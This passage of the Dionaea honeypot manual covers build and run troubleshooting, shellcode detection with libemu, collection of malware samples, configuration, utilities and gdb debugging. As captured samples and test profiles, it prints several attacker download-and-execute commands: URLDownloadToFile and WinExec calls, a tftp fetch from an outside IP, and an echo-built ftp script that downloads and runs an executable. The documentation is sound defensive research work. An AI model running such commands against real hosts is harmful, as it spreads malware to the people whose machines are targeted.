Unable to build.

```
==> default: cp build/*/dionaea/*.so /opt/dionaea/lib/dionaea/python.so
==> default: cp:
==> default: target '/opt/dionaea/lib/dionaea/python.so' is not a directory
```

```
==> default: libtool: Version mismatch error. This is libtool 2.4.6 Debian-
↳2.4.6-2, but the
==> default: libtool: definition of this LT_INIT comes from libtool 2.4.2.
==> default: libtool: You should recreate aclocal.m4 with macros from
↳libtool 2.4.6 Debian-2.4.6-2
==> default: libtool: and run autoconf again.
```

Try to clean your build environment.

Warning: This will remove all ignored and untracked files from the directory. Use *-dry-run*

```
git clean -xdf
```

15.2 Run

I get OperationalError at unable to open database file when using logsqlite and it does not work at all

Read the logsql instructions <#logsql>

I get a Segmentation Fault

Read the segfault instructions <#segfault>

I logrotate, and after logrotate dionaea does not log anymore.

Read the logrotate instructions <#logging>

p0f does not work.

Make sure your have p0f 2.0.8 and dionaea does not listen on ::, p0f can't deal with IPv6.

I'm facing a bug, it fails, and I can't figure out why.

Explain the problem, if I'm interested in the nature of the problem, as it does not sound like pebcak, I may ask for a shell/screen and have a look myself, and if it is worth it, you'll even get a FAQ entry for some specialties of your OS.

Unable to bind to port after dropping privileges

Dropping privileges and binding to ports lower than 1024 is only support on Linux systems. If some of the optional build dependencies are missing dionaea might not be able to bind to these ports too. After enabling all log levels it should display some log messages like in the example below.

```
[10052017 15:58:17] connection connection.c:200: bind_local con_
↳0x55f21b1ec720
[10052017 15:58:17] connection connection.c:216: bind_local socket 10 1.2.3.
↳4:21
[10052017 15:58:17] connection connection.c:230: Could not bind 1.2.3.4:21_
↳(Permission denied)
```

To fix this issue you have to install the **kernel headers** for your kernel and rebuild dionaea. If everything works as it should you might get log messages like in the example below. You might have noticed that there is now a pchild section. This means dionaea is using a child process with extended privileges to bind to the port.

```
[10052017 15:58:17] connection connection.c:200: bind_local con_
↳0x55f21b1ec720
[10052017 15:58:17] connection connection.c:216: bind_local socket 10 1.2.3.
↳4:21
[10052017 15::58:17] pchild pchild.c:199: sending msg to child to bind port .
↳..
[10052017 15::58:17] pchild pchild.c:218: child could bind the socket!
[10052017 15::58:17] connection connection.c:316: ip '1.2.3.4' node '1.2.3.
↳4:21'
```


Warning: The documentation is work in progress.

16.1 Rotate bistream files

Dionaea does not have and may never will have a function/option to rotate the bistream files. But you can do this by using a cron job and a simple shell script.

Feel free to use and modify the script below.

```
#!/bin/bash

# Compress bistream files older than 2 days
find /opt/dionaea/var/dionaea/bistreams/* -type f -mtime +2 -exec gzip {} \;

# Clear bistream logs from dionaea every week
find /opt/dionaea/var/dionaea/bistreams/* -type f -mtime +7 -exec rm {} \;
find /opt/dionaea/var/dionaea/bistreams/* -type d -empty -delete
```


17.1 Cui honorem, honorem

Google:

Google has supported 3 students to work on dionaea during GSoc 2009, GSoc 2010 and GSoc 2011.

SURFnet:

[SURFnet](#) has supported the project in the past(2010?-2014?). Working with SURFnet is a real pleasure.

17.2 Support

If you are getting frustrated, because things do not work for you and you already read the [FAQ](#), join the ml and share your experience, or the chat.

GitHub

Use the issue tracker to report any problem.

Website: [Issue tracker](#)

IRC

From time to time some of the developers join the #nepenthes channel on freenode. <irc://irc.freenode.org/nepenthes>

Mailing List:

Only a few messages every year. Seems to be dead, no message since 2015.

Website: [Mailinglist nepenthes-devel](#)

17.3 Links

- GSoC 2009 Project #10 <http://honeynet.org/gsoc/project10>
- [The HoneyNet Project](#)

Old documentation:

CHAPTER 18

Exploitation

Attackers do not seek your service, attackers want to exploit you, they'll chat with the service for some packets, and afterwards sent a payload. dionaea has to detect and evaluate the payload to be able to gain a copy of the malware. In order to do so, dionaea uses libemu.

Given certain circumstances, libemu can detect shellcode, measure the shellcode, and if required even execute the shellcode. Shellcode detection is done by making use of GetPC heuristics, others wrote papers about it, we decided to write libemu to do so. This detection is rather time consuming, and therefore done using threads.

The part of dionaea which takes care of the network io can create a copy of all in/output run for a connection, this copy is passed to the detection facility, which is a tree of detection facilities, at this moment there is only a single leaf, the emu plugin. The emu plugin uses threads and libemu to detect and profile/measure shellcode.

Shellcode measurement/profiling is done by running the shellcode in the libemu vm and recording API calls and arguments. For most shellcode profiling is sufficient, the recorded API calls and arguments reveal enough information to get an idea of the attackers intention and act upon them. For multi-stage shellcode, where the first exploitation stage of the shellcode would retrieve a second shellcode from the attacker, profiling is not sufficient, as we lack the information 'what to do' from the second stage of the shellcode, in this case we need to make use of shellcode execution. Shellcode execution is basically the same as shellcode profiling, the only difference is not recording the api calls, and we allow the shellcode to take certain actions, for example creating a network connection.

18.1 Payloads

Once we have the payload, and the profile, dionaea has to guess the intention, and act upon it

18.1.1 Shells - bind/connectback

This payload offers a shell (cmd.exe prompt) to the attacker, either by binding a port and waiting for the attacker to connect to us again, or by connection to the attacker. In both cases, dionaea offers an cmd.exe emulation to the attacker, parses the input, and acts upon the input, usually the instructions download a file via ftp or tftp.

18.1.2 URLDownloadToFile

These shellcodes use the URLDownloadToFile api call to retrieve a file via http, and execute the retrieved file afterwards

18.1.3 Exec

Making use of WinExec, these shellcode execute a single command which has to be parsed and processed like the bind/connectback shell shellcommands.

18.1.4 Multi Stage Payloads

We never know what the second stage is, therefore libemu is used to execute the shellcode in the libemu vm.

CHAPTER 19

Downloads

Once dionaea gained the location of the file the attacker wants it to download from the shellcode, dionaea will try to download the file. The protocol to download files via tftp and ftp is implemented in python (ftp.py and tftp.py) as part of dionaea, downloading files via http is done in the curl module - which makes use of libcurl's awesome http capabilities. Of course libcurl can run downloads for ftp too, but the ftp services embedded in malware are designed to work with windows ftp.exe client, and fail for others.

CHAPTER 20

Submit

Once dionaea got a copy of the worm attacking her, we may want to store the file locally for further analysis, or submit the file to some 3rd party for further analysis.

dionaea can http/POST the file to several services like CWSandbox, Norman Sandbox or VirusTotal.

Configuration - dionaea.conf

If you want to change the software, it is really important to understand how it works, therefore please take the time to how it works. `dionaea.conf` is the main configuration file, the file controls consists of sections for:

- logging
- processors
- downloads
- bistreams
- submit
- listen
- modules

21.1 logging

The logging section controls ... logging, you can specify log domains and loglevel for different logfiles. As `dionaea` is pretty ... verbose, it is useful to rotate the logfiles using `logrotate`.

```
# logrotate requires dionaea to be started with a pidfile
# in this case -p /opt/dionaea/var/run/dionaea.pid
# adjust the path to your needs
/opt/dionaea/var/log/dionaea*.log {
    notifempty
    missingok
    rotate 28
    daily
    delaycompress
    compress
    create 660 root root
    dateext
}
```

(continues on next page)

(continued from previous page)

```
    postrotate
        kill -HUP `cat /opt/dionaea/var/run/dionaea.pid`
    endscript
}
```

```
//etc/logrotate.d/dionaea/
```

21.2 modules

downloads specify where to store downloaded malware. bistreams specify where to store bi-directional streams, these are pretty useful when debugging, as they allow to replay an attack on ip-level, without messing with pcap&tcpreplay, which never worked for me. submit specifies where to send files to via http or ftp, you can define a new section within submit if you want to add your own service. listen sets the addresses dionaea will listen to. The default is *all* addresses it can find, this mode is call getifaddrs, but you can set it to manual and specify a single address if you want to limit it. modules is the most powerfull section, as it specifies the modules to load, and the options for each module.

21.2.1 logsql

This section controls the logging to the sqlite database. logsql does not work when chrooting - python makes the path absolute and fails for requests after chroot().

logsql requires the directory where the logsql.sqlite file resides to be writeable by the user, as well as the logsql.sqlite file itself. So, if you drop user privs, make sure the user you drop to is allowed to read/write the file and the directory.

```
chown MYUSER:MYGROUP /opt/dionaea/var/dionaea -R
```

To query the logsql database, I recommend looking at the readlogsqltree.py <#readlogsqltree> script, for visualisation the gnuplotsql <#gnuplotsql> script.

The blog on logsql:

- [2009-11-06 dionaea sql logging](#)
- [2009-12-08 post it yourself](#)
- [2009-12-12 sqlite performance](#)
- [2009-12-14 virustotal fun](#)
- [2009-12-15 paris mission pack avs](#)
- [2010-06-06 data visualisation](#)

21.2.2 logxmpp

This section controls the logging to xmpp services. If you want to use logxmpp, make sure to enable logxmpp in the ihandler section. Using logxmpp allows you to share your new collected files with other sensors anonymously.

The blog on logxmpp:

- [2010-02-10 xmpp backend](#)
- [2010-05-12 xmpp take #2](#)
- [2010-05-15 xmpp take #3](#)

pg_backend <#pg_backend> can be used as a backend for xmpp logging sensors.

21.2.3 p0f

Not enabled by default, but recommend: the p0f service, enable by uncommenting p0f in the ihandlers section of the python modules section, and start p0f as suggested in the config. It costs nothing, and gives some pretty cool, even if outdated, informations about the attackers operating system, and you can look them up from the sqlite database, even the rejected connections. If you face problems, [here](#) are some hints.

21.2.4 ihandlers

ihandlers section is used to specify which ihandlers get started by ihandlers.py . You do not want to miss p0f and logsql.

21.2.5 services

services controls which services will get started by services.py

CHAPTER 22

Utils

Dionaea ships with some utils, as these utils are written in python and rely on the python3 interpreter dionaea requires to operate, this software can be found in modules/python/utils.

`readlogsqltree <#readlogsqltree> - modules/python/readlogsqltree.py`

`readlogsqltree` is a python3 script which queries the logsqli sqlite database for attacks, and prints out all related information for every attack. This is an example for an attack, you get the vulnerability exploited, the time, the attacker, information about the shellcode, the file offered for download, and even the virustotal report for the file.

```
2010-10-07 20:37:27
  connection 483256 smbd tcp accept 10.0.1.11:445 <- 93.177.176.190:47650 (483256_
↳None)
  dcerpc bind: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid '7d705026-884d-af82-7b3d-961deaeb179a' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid '7f4fdfe9-2be7-4d6b-a5d4-aa3c831503a1' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid '8b52c8fd-cc85-3a74-8b15-29e030cdac16' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid '9acbde5b-25e1-7283-1f10-a3a292e73676' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid '9f7e2197-9e40-bec9-d7eb-a4b0f137fe95' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid 'a71e0ebe-6154-e021-9104-5ae423e682d0' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid 'b3332384-081f-0e95-2c4a-302cc3080783' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid 'c0cdf474-2d09-f37f-beb8-73350c065268' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid 'd89a50ad-b919-f35c-1c99-4153ad1e6075' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc bind: uuid 'ea256ce5-8ae1-c21b-4a17-568829eec306' (None) transfersyntax_
↳8a885d04-1ceb-11c9-9fe8-08002b104860
  dcerpc request: uuid '4b324fc8-1670-01d3-1278-5a47bf6ee188' (SRVSVC) opnum 31_
↳(NetPathCanonicalize (MS08-67))
```

(continues on next page)

(continued from previous page)

```

profile: [{'return': '0x7df20000', 'args': ['urlmon'], 'call': 'LoadLibraryA'}, {
↪ 'return': '0', 'args': ['', 'http://208.53.183.158/m.exe', '60.exe', '0', '0'],
↪ 'call': 'URLDownloadToFile'}, {'return': '32', 'args': ['60.exe', '895'], 'call':
↪ 'WinExec'}, {'return': '0', 'args': ['-1'], 'call': 'Sleep'}]
offer: http://208.53.183.158/m.exe
download: 3eab379ddac7d80d3e38399fd273ddd4 http://208.53.183.158/m.exe
virustotal 2010-10-07 04:59:07 5/38 (13%) http://www.virustotal.com/file-scan/
↪ report.html?id=265e39edcba9d9004451601544e625f2d3d04f837d0aaf1f8464cb2c819c1939-
↪ 1286420347
names 'High Risk Fraudulent Security Program' 'Suspicious file' 'Trojan.
↪ DownLoader1.27100' 'Worm.Win32.Rimecud' 'Worm:Win32/Rimecud.B'

```

To create such report for your own honeypots activities for the last 24 hours run:

```
./readlogsqltree.py -t $(date '+%s')-24*3600 /opt/dionaea/var/dionaea/logsql.sqlite
```

```
gnuplotsql <#gnuplotsql> - modules/python/gnuplotsql.py
```

gnuplotsql is a very slow python3 script which runs some queries on the logsql <#logsql> sqlite database and creates graphs with gnuplot of the data, stores them on disk and creates an index of the data. The images are per protocol and look like this: Overview for dionaea smb. Here <gnuplotsql> is how the whole thing looks like. To create such images of your own data, run:

```
./gnuplotsql.py -d /opt/dionaea/var/dionaea/logsql.sqlite -p smb -p epmapper -p mssqld -p httpd -p ftpd
```

The blog got something on gnuplotsql as well:

- 2010-12-05 sudden death <http://carnivore.it/2010/12/05/sudden_death>
- 2010-10-01 Infosity's Blog: gnuplotsql.py <<http://blog.infosity.co.uk/2010/10/01/gnuplotsql-py/>>
- 2010-09-19 gnuplotsql <<http://carnivore.it/2010/09/19/gnuplotsql>>

```
pg_backend <#pg_backend> - modules/python/xmpp/pg_backend.py
```

pg_backend is the backend for logxmpp <#logxmpp>, currently it is a python2.x script which uses pyxmpp to access the xmpp service. It parses the messages received and can store the events in a postgres database and the received files on disk. pg_backend requires an xmpp account. /without db/

```
./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -f /tmp/
```

/with db/ create database

```
psql ...
```

start backend

```
./pg_backend.py -U USER@sensors.carnivore.it -P XMPPPASS -M dionaea.sensors.carnivore.it -C anon-files -C anon-events -s DBHOST -u DBUSER -d xmpp -p DBPASS -f /tmp/
```

Segfault

In case you experience a segfault, you will see something like this:

This is the end. This software just had a segmentation fault. The bug you encountered may even be exploitable. If you want to assist in fixing the bug, please send the backtrace below to nepenthesdev@gmail.com. You can create better backtraces with gdb, for more information visit <http://dionaea.carnivore.it/#segfault> Once you read this message, your tty may be broken, simply type reset, so it will come to life again:

```
/opt/dionaea/bin/dionaea(sigsegv_backtrace_cb+0x20) [0x805c11e]
[0x70d420]
/opt/dionaea/lib/libemu/libemu.so.2(emu_env_w32_eip_check+0x94) [0x186974]
/opt/dionaea/lib/dionaea/emu.so(run+0x39) [0x89cced]
/opt/dionaea/lib/dionaea/emu.so(profile+0xbb) [0x89db88]
/opt/dionaea/lib/dionaea/emu.so(proc_emu_on_io_in+0x1e1) [0x89bfc5]
/opt/dionaea/bin/dionaea(recurse_io_process+0x31) [0x805df4a]
/opt/dionaea/bin/dionaea(processors_io_in_thread+0x85) [0x805e08d]
/opt/dionaea/bin/dionaea(threadpool_wrapper+0x2e) [0x805c99a]
/opt/dionaea/lib/libglib-2.0.so.0[0xaa9498]
/opt/dionaea/lib/libglib-2.0.so.0[0xaa7a2f]
/lib/libpthread.so.0[0xd8973b]
/lib/libc.so.6(clone+0x5e) [0x2b3cfe]
```

While the backtrace itself gives an idea what might be wrong, it does not fix the problem. To fix the problem, the logfiles usually help, as dionaea is very verbose by default. Below are some hints how to get started with debugging, [click here <#support>](#) for assistance.

debugging

CHAPTER 24

Valgrind

Valgrind does a great job, here is how I use it:

```
valgrind -v --leak-check=full --leak-resolution=high --show-reachable=yes \
--log-file=dionaea-debug.log /opt/dionaea/bin/dionaea --my-dionaea-options

gdb

logfile assisted
```

For the above example, I was able to scrape the shellcode from the logfile, and run it in libemu, without involving dionaea at all, reducing the problem:

```
gdb /opt/dionaea/bin/sctest
(gdb) run -S -s 10000000 -g < sc.bin
Starting program: /media/sda4/opt64/dionaea/bin/sctest -S -s 10000000 -g < sc.bin
```

Once it crashed, I retrieved a full backtrace:

```
Program received signal SIGSEGV, Segmentation fault.
env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at environment/
↳win32/env_w32_dll_export_kernel32_hooks.c:545
545                                     struct emu_env_hook *hook = (struct emu_env_hook_
↳*)ehi->value;

(gdb) bt full
#0  env_w32_hook_GetProcAddress (env=0x629a30, hook=<value optimized out>) at
↳environment/win32/env_w32_dll_export_kernel32_hooks.c:545
    dll = 0x6366f0
    ehi = <value optimized out>
    hook = <value optimized out>
    c = 0x611180
    mem = <value optimized out>
```

(continues on next page)

(continued from previous page)

```

    eip_save = <value optimized out>
    module = 2088763392
    p_procname = 4289925
    procname = <value optimized out>
#1  0x00007ffff7b884fb in emu_env_w32_eip_check (env=0x629a30) at environment/win32/
↳emu_env_w32.c:306
    dll = <value optimized out>
    ehi = <value optimized out>
    hook = 0x64c5b0
    eip = <value optimized out>
#2  0x00000000403995 in test (e=0x60f0e0) at sctestmain.c:277
    hook = 0xe2
    ev = 0x0
    iv = <value optimized out>
    cpu = 0x611180
    mem = <value optimized out>
    env = 0x629a30
    na = <value optimized out>
    j = 7169
    last_vertex = 0x0
    graph = 0x0
    eh = 0x0
    ehi = 0x0
    ret = <value optimized out>
    eipsave = 2088807840
#3  0x000000004044e4 in main (argc=5, argv=0x7fffffffe388) at sctestmain.c:971
    e = <value optimized out>

```

In this case, the problem was a bug in libemu.

`gdb dump memory`

Once again, it broke, and we got a backtrace:

```

#0  0xb70b0b57 in emu_queue_enqueue (eq=0xb3da0918, data=0x4724ab) at emu_queue.c:63
    eqi = (struct emu_queue_item *) 0x0
#1  0xb70b15d1 in emu_shellcode_run_and_track (e=0xb4109cd0, data=0xb411c698 "",
↳datasize=<value optimized out>, eipoffset=<value optimized out>,
    steps=256, etas=0xb410cd60, known_positions=0xb3d7a810, stats_tested_
↳positions_list=0xb3da3bf0, brute_force=true) at emu_shellcode.c:408
    current_pos_ti_diff = (struct emu_tracking_info *) 0x88c3c88
    current_pos_ht = <value optimized out>
    current_pos_v = <value optimized out>
    current_pos_satii = (struct emu_source_and_track_instr_info *) 0xb407e7f8
    bfs_queue = (struct emu_queue *) 0xb3e17668
    ret = 4662443
    eipsave = <value optimized out>
    hook = <value optimized out>
    j = 4
    es = <value optimized out>
    eli = (struct emu_list_item *) 0xb3e17658
    cpu = (struct emu_cpu *) 0xb4109ab0
    mem = (struct emu_memory *) 0xb410c3a0
    eq = (struct emu_queue *) 0xb3da0918
    env = (struct emu_env *) 0xb3e10208
    eli = (struct emu_list_item *) 0x4724ab
#2  0xb70b1a2a in emu_shellcode_test (e=0xb4109cd0, data=0xb411c698 "", size=<value_
↳optimized out>) at emu_shellcode.c:546

```

(continues on next page)

(continued from previous page)

```

es = (struct emu_stats *) 0xb3d92b28
new_results = (struct emu_list_root *) 0xb3da3bf0
offset = <value optimized out>
el = (struct emu_list_root *) 0xb4100510
etas = (struct emu_track_and_source *) 0xb410cd60
eh = (struct emu_hashtable *) 0xb3d7a810
eli = (struct emu_list_item *) 0xb3d92b40
results = (struct emu_list_root *) 0xb3d82850
es = <value optimized out>
__PRETTY_FUNCTION__ = "emu_shellcode_test"
#3 0xb712140c in proc_emu_on_io_in (con=0x8864b58, pd=0x87dc388) at detect.c:145
e = (struct emu *) 0xb4109cd0
ctx = (struct emu_ctx *) 0x87a2400
offset = 14356
streamdata = (void *) 0xb411c698
size = 8196
ret = 0
__PRETTY_FUNCTION__ = "proc_emu_on_io_in"
#4 0x0805e8be in recurse_io_process (pd=0x87dc388, con=0x8864b58, dir=bistream_in)
↳ at processor.c:167
No locals.
#5 0x0805ea01 in processors_io_in_thread (data=0x8864b58, userdata=0x87dc388) at
↳ processor.c:197
con = (struct connection *) 0x8864b58
pd = (struct processor_data *) 0x87dc388
__PRETTY_FUNCTION__ = "processors_io_in_thread"
#6 0x0805d2da in threadpool_wrapper (data=0x87d7bd0, user_data=0x0) at threads.c:49
t = (struct thread *) 0x87d7bd0
timer = (GTimer *) 0xb4108540
#7 0xb77441f6 in g_thread_pool_thread_proxy (data=0x83db460) at gthreadpool.c:265
task = (gpointer) 0x87d7bd0
pool = (GRealThreadPool *) 0x83db460
#8 0xb7742b8f in g_thread_create_proxy (data=0x83dc7d0) at gthread.c:635
__PRETTY_FUNCTION__ = "g_thread_create_proxy"
#9 0xb76744c0 in start_thread () from /lib/i686/cmov/libpthread.so.0
No symbol table info available.
#10 0xb75f36de in clone () from /lib/i686/cmov/libc.so.6
No symbol table info available.

```

Again, it was a bug in libemu, an unbreakable loop consuming all memory. To reproduce, we have to dump the tested buffer, therefore we need the buffers address and size. Luckily the size is noted in frame #2 as 8196 and the data address is a parameter which got not optimized out for frame #2:

```
dump binary memory /tmp/sc.bin 0xb411c698 0xb411e89c
```

Afterwards, debugging libemu by feeding the data into sctest is easy.

I've had fun with objgraph and gdb debugging reference count leaks in python too, here http://carnivore.it/2009/12/23/arcane_bugs is the writeup:

```
gdb python3 embedded
```

Sometimes, there is something wrong with the python scripts, but gdb does not provide any useful output:

```

bt full
#12 0xb765f12d in PyEval_EvalFrameEx (f=0x825998c, throwflag=0) at Python/ceval.c:2267
stack_pointer = (PyObject **) 0x8259af0

```

(continues on next page)

(continued from previous page)

```

next_instr = (unsigned char *) 0x812fabf "m'"
opcode = 100
oparg = <value optimized out>
why = 3071731824
err = 1
x = (PyObject *) 0xb7244aac
v = <value optimized out>
w = (PyObject *) 0xad5e4dc
u = (PyObject *) 0xb775ccb0
freevars = (PyObject **) 0x8259af0
retval = (PyObject *) 0x0
tstate = (PyThreadState *) 0x809aab0
co = (PyCodeObject *) 0xb717b800
instr_ub = -1
instr_lb = 0
instr_prev = -1
first_instr = (unsigned char *) 0x812f918 "t"
names = (PyObject *) 0xb723f50c
consts = (PyObject *) 0xb71c9f7c
opcode_targets = {0xb765d202, 0xb765f60a, 0xb766133a, 0xb76612db, 0xb7661285, ↵
↵0xb7661222, 0xb765d202, 0xb765d202, 0xb765d202, 0xb76611dd,
0xb766114b, 0xb76610b9, 0xb766100f, 0xb765d202, 0xb765d202, 0xb7660f7d, 0xb765d202, ↵
↵0xb765d202, 0xb765d202, 0xb7660eb7, 0xb7660dfb, 0xb765d202,
0xb7660d30, 0xb7660c65, 0xb7660ba9, 0xb7660aed, 0xb7660a31, 0xb7660975, 0xb76608b9, ↵
↵0xb76607fd, 0xb765d202 <repeats 24 times>, 0xb7660736, 0xb766066b,
0xb76605af, 0xb76604f3, 0xb765d202, 0xb7660437, 0xb766035d, 0xb76602ad, 0xb7661aba, ↵
↵0xb76619fe, 0xb7661942, 0xb7661886, 0xb7661b76, 0xb76614a8,
0xb7661413, 0xb766138e, 0xb766171f, 0xb76616e6, 0xb765d202, 0xb765d202, 0xb765d202, ↵
↵0xb766162a, 0xb766156e, 0xb76601f1, 0xb7660135, 0xb76617ca,
0xb7660120, 0xb765fff7, 0xb765d202, 0xb765fd72, 0xb765fc6e, 0xb765d202, 0xb765fc1d, ↵
↵0xb765fe17, 0xb765fd90, 0xb765fec0, 0xb765fb41, 0xb765fadc,
0xb765f9ed, 0xb765f94d, 0xb765f8be, 0xb765f7e3, 0xb765f779, 0xb765f6bd, 0xb765f66c, ↵
↵0xb765ef1d, 0xb765eea2, 0xb765ede1, 0xb765ed1a, 0xb765ec35,
0xb765ebc3, 0xb765eb30, 0xb765ea69, 0xb765f1c7, 0xb765f027, 0xb765f560, 0xb765efc1, ↵
↵0xb76630e3, 0xb766310c, 0xb765e64c, 0xb765e592, 0xb765f49a,
0xb765f3de, 0xb765d202, 0xb765d202, 0xb765f39e, 0xb7663135, 0xb766315f, 0xb765e9cb, ↵
↵0xb765d202, 0xb765e948, 0xb765e8bb, 0xb765e817, 0xb765d202,
0xb765d202, 0xb765d202, 0xb765d2ae, 0xb765e3e0, 0xb7663275, 0xb765e1a2, 0xb766324e, ↵
↵0xb765e0ba, 0xb765e01e, 0xb765df74, 0xb765d202, 0xb765d202,
0xb7663189, 0xb76631d3, 0xb7663220, 0xb765e149, 0xb765d202, 0xb765de09, 0xb765dec0, ↵
↵0xb765f2c0, 0xb765d202 <repeats 108 times>}
#13 0xb7664ac0 in PyEval_EvalCodeEx (co=0xb717b800, globals=0xb7160b54, locals=0x0, ↵
↵args=0x84babb8, argcount=9, kws=0x0, kwcount=0, defs=0xb719e978,
defcount=1, kwdefs=0x0, closure=0x0) at Python/ceval.c:3198
f = (PyFrameObject *) 0x825998c
retval = <value optimized out>
freevars = (PyObject **) 0x8259af0
tstate = (PyThreadState *) 0x809aab0
x = <value optimized out>
u = <value optimized out>

```

Luckily python3 ships with some gdb macros, which assist in dealing with this mess. You can grab them over here <http://svn.python.org/view/python/tags/r311/Misc/gdbinit?view=markup>, place them to `~/gdbinit`, where `~` is the homedirectory of the user dionaea runs as. If you get `/warning: not using untrusted file "/home/user/.gdbinit"/` you are running gdb via sudo, and the file `/home/user/.gdbinit` has to be owned by root. If you are running as root, and you get `/Program received signal SIGTTOU, Stopped (tty output)/`, run `stty -nostop` before running gdb, reattach the process with `fg`, close gdb properly, and start over.

Once you got the macros loaded properly at gdb startup, set a breakpoint on PyEval_EvalFrameEx after dionaea loaded everything:

```
break PyEval_EvalFrameEx
```

Then we have some useful macros for gdb:

```
up  
pyframev
```

pyframev combines the output of pyframe and pylocals.

Be aware you can segfault dionaea now from within gdb, going up, out of the python call stack and calling some of the macros can and in most cases will segfault dionaea, therefore use backtrace to make sure you are still within valid frames. We can't use pystack or pystackv as they rely on Py_Main, which is an invalid assumption for embedded python.

dionaea embeds a python interpreter, and can offer a python cli therefore too. *The python cli is blocking*, if you start entering a command, the whole process will wait for you to finish it, and not accept any new connections. You can use the python cli to interact with dionaea, which is very useful for development and debugging.

25.1 Configuration

You can access the dionaea.conf via python (readonly):

```
from dionaea import g_dionaea
g_dionaea.config()
```

25.2 Completion and History on the CLI

If you use the cli often, you can make it behave like a real shell, including history and completion.:

```
import rlcompleter, readline
readline.parse_and_bind('tab: complete')
```

25.3 Triggering Downloads

Sometimes it helps to trigger a download, without waiting for an attack. Very useful if you want to verify permissions are correct when switching the user, or making sure a submission to a 3rd party works correctly. You can trigger downloads for all major protocols.

25.4 ftp

```
from dionaea.ftp import ftp
f = ftp()
f.download(None, 'anonymous', 'guest', 'ftp.kernel.org', 21, 'welcome.msg', 'binary',
↳ 'ftp://ftp.kernel.org/welcome.msg')
```

25.5 tftp

```
from dionaea.tftp import TftpClient
t = TftpClient()
t.download(None, 'tftp.example.com', 69, 'filename')
```

25.6 http

As the http download is not done in python, we do not use the download facility directly, but create an incident, which will trigger the download:

```
from dionaea.core import incident
i = incident("dionaea.download.offer")
i.set("url", "http://www.honeynet.org")
i.report()
```

25.7 incidents

incidents are the ipc used in dionaea.

25.8 dumping

```
from dionaea.core import ihandler
class idumper(ihandler):
    def __init__(self, pattern):
        ihandler.__init__(self, pattern)
    def handle(self, icd):
        icd.dump()

a = idumper('*')
```

25.9 emu profile

Small collection of various shellcode profiles gathered from dionaea.

25.10 CreateProcess Commands

This profile will trigger a download via tftp.

```
p='[{"call": "CreateProcess", "args": ["", "tftp.exe -i 92.17.46.208 get ssms.exe", "
↳", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0", "hStdInput
↳": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0", "dwY": "0",
↳ "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0", "lpReserved":
↳ "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize": "0",
↳ "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId": "4714
↳", "hThread": "4712"}], "return": "-1"}, {"call": "CreateProcess", "args": ["",
↳ "ssms.exe", "", "", "1", "40", "", "", {"dwXCountChars": "0", "dwFillAttribute": "0
↳", "hStdInput": "0", "dwYCountChars": "0", "cbReserved2": "0", "cb": "0", "dwX": "0
↳", "dwY": "0", "dwXSize": "0", "lpDesktop": "0", "hStdError": "68", "dwFlags": "0",
↳ "lpReserved": "0", "lpReserved2": "0", "hStdOutput": "0", "lpTitle": "0", "dwYSize
↳": "0", "wShowWindow": "0"}, {"dwProcessId": "4712", "hProcess": "4711", "dwThreadId
↳": "4714", "hThread": "4712"}], "return": "-1"}, {"call": "ExitThread", "args": ["0
↳", "return": "0"]]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
```

25.11 URLDownloadToFile

This profile will trigger a download.

```
p='[{"call": "LoadLibraryA", "args": ["urlmon"], "return": "0x7df20000"}, {"call":
↳ "URLDownloadToFile", "args": ["", "http://82.165.32.34/compiled.exe", "47.scr", "0",
↳ "0"], "return": "0"}, {"call": "WinExec", "args": ["47.scr", "895"], "return": "32
↳"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
```

25.12 WinExec Commands

This profile uses WinExec to create a command file for windows ftp client, downloads a file, and executes the file.:

```
p='[{"call": "WinExec", "args": ["cmd /c echo open weloveware.com 21 > i&echo user_
↳ wat 1011 >> i &echo get SCUM.EXE >> i &echo quit >> i &ftp -n -s:i &SCUM.EXE\\r\\n",
↳ "0"], "return": "32"}, {"call": "ExitThread", "args": ["0"], "return": "0"}]'
from dionaea.core import incident
i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
```


CHAPTER 26

Indices and tables

- `genindex`
- `modindex`
- `search`